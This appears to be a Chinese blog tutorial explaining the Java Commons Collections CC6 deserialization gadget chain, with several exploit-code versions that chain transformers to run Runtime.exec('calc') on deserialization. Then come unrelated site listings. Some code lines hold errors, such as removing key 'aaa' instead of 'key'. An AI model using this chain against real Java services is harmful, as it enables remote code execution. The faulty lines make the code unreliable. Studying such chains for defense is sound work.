news 2026/5/11 9:39:32

Java安全-CC链 | CC6

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Java安全-CC链 | CC6

在 CC1 链的寻找中,查找transform的实现类时,我们用到的是 TransformedMap。实际上还有其余两个 Map:分别是LazyMapDefaultMap

CC6 链用到的就是LazyMap

我们打开 LazyMap, 先看一下它的 get 方法,里面调用了 transform:

Object value=this.factory,transform(key);

这里传的这个 factory 是一个 Transformer。也就是说到时候我们把它的 factory 传成 ChainedTransformer。然后走进这个 if 里面就可以了。

if (!this.map.containsKey(key))

也就是我们要确保这个 LazyMap 里面没有这个 key。

普通的 Map 会这样:

normalMap.get("key");

这样 key 就存在了,就过不掉这层 if。

通过查阅资料可知,LazyMap(它是一个偷懒的 Map),在 new 出它的对象时,不会自动给你 get("key")。因此我们要让this.map=LazyMap

恰好,在这个类的 decorate() 方法中,输入一个普通的 map,它给返回一个 LazyMap。

那我们就可以利用这个 decorate() 方法做到上面那点。

  • 根据 ysoSerial 官方的链子,是TiedMapEntry类中的getValue()方法调用了LazyMapget()方法。

这里的逻辑还是很简单的,直接调用它的 getValue 方法即可,然后这个 getValue()会自己去调用它的map.get(key)方法。

目前的 exp:

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); tiedMapEntry.getValue();
  • 现在我们找找谁调用了TiedMapEntry中的getValue()方法

我们找到了hashCode()这个方法,它调用了 getValue()

HashMap.readObject()putValue中对keyhash,会触发hashCode方法

所以:

目前的 exp:

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "value"); serialize(expMap); unserialize("ser.bin");
  • 不过这里有一个问题:

在构造利用链的过程中,HashMap.put会立即触发hashCodeTiedMapEntry.getValueLazyMap.getfactory.transform,导致恶意代码在序列化之前就执行,破坏了我们想要的“只在反序列化时执行”的效果。

所以需要在开始, 破坏链子不能执行, 在序列化后, 通过反射修改恢复链子, 进而反序列化时可以成功执行

其中可以选择在利用decorate赋值的部分放入无用的Transformer:

Map<Object,Object> lazyMap=LazyMap.decorate(hashMap,new ConstantTransformer(1));

在之后通过反射修改 Transformer 的 factory 值:

  • 最后发现Lazymap中的get方法中存在问题

可以分析下if这部分的逻辑, 他是会判断我们传进来的lazymap是否存在我们传入的key

所以在开始时进行put操作时走到这里会进入if内, 而此时的factory是我们放入的无用的Transformer,为了防止在序列化时执行命令,所以这里不会执行

但接下来进行的map.put操作会将此时的key放入lazymap,所以在接下来的反序列化操作时走到这里时,if部分就会检测到lazymap内存在key, 那么就不会进入if内部, 也就不会走到transform部分执行命令

  • 所以现在的思路就很清晰了, 也就是只需要在我们进行put操作后, 将赋给他的key删掉,那么反序列化时再到if的判断部分就可以进去了, 也就可以执行命令了

最后的 exp:

Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(hashMap, chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key"); HashMap<Object, Object> expMap = new HashMap<>(); expMap.put(tiedMapEntry, "value"); lazyMap.remove("aaa"); Class c = LazyMap.getClass(); Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer); serialize(expMap); unserialize("ser.bin");
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/11 9:37:35

终极解密指南:如何高效提取网易NeoX游戏NPK资源文件

终极解密指南&#xff1a;如何高效提取网易NeoX游戏NPK资源文件 【免费下载链接】unnpk 解包网易游戏NeoX引擎NPK文件&#xff0c;如阴阳师、魔法禁书目录。 项目地址: https://gitcode.com/gh_mirrors/un/unnpk 你是否曾经好奇《阴阳师》、《魔法禁书目录》等网易游戏中…

作者头像 李华
网站建设 2026/5/11 9:36:46

如何快速掌握AMD Ryzen调试工具:面向新手的完整指南

如何快速掌握AMD Ryzen调试工具&#xff1a;面向新手的完整指南 【免费下载链接】SMUDebugTool A dedicated tool to help write/read various parameters of Ryzen-based systems, such as manual overclock, SMU, PCI, CPUID, MSR and Power Table. 项目地址: https://gitc…

作者头像 李华
网站建设 2026/5/11 9:34:59

云计算Linux——nginx httpd后端 配置 反向代理(十二)

一、反向代理核心原理与作用补充: 正向代理&#xff1a; VPN 反向代理&#xff1a; 访问网站&#xff08;动态任务&#xff09;1.什么是反向代理&#xff1f;反向代理是服务器端的代理。客户端访问反向代理服务器&#xff0c;由代理服务器将请求转发给后 端真实服务器&#xf…

作者头像 李华
网站建设 2026/5/11 9:34:39

微信单向好友检测:如何一键发现谁悄悄删除了你?

微信单向好友检测&#xff1a;如何一键发现谁悄悄删除了你&#xff1f; 【免费下载链接】WechatRealFriends 微信好友关系一键检测&#xff0c;基于微信ipad协议&#xff0c;看看有没有朋友偷偷删掉或者拉黑你 项目地址: https://gitcode.com/gh_mirrors/we/WechatRealFriend…

作者头像 李华
网站建设 2026/5/11 9:34:32

衍射深度神经网络技术实现:5步构建全光机器学习系统

衍射深度神经网络技术实现&#xff1a;5步构建全光机器学习系统 【免费下载链接】Diffractive-Deep-Neural-Networks Diffraction Deep Neural Networks(D2NN) 项目地址: https://gitcode.com/gh_mirrors/di/Diffractive-Deep-Neural-Networks 衍射深度神经网络&#xf…

作者头像 李华
网站建设 2026/5/11 9:32:22

QMCDecode:3分钟解锁QQ音乐加密格式,让音乐真正属于你

QMCDecode&#xff1a;3分钟解锁QQ音乐加密格式&#xff0c;让音乐真正属于你 【免费下载链接】QMCDecode QQ音乐QMC格式转换为普通格式(qmcflac转flac&#xff0c;qmc0,qmc3转mp3, mflac,mflac0等转flac)&#xff0c;仅支持macOS&#xff0c;可自动识别到QQ音乐下载目录&#…

作者头像 李华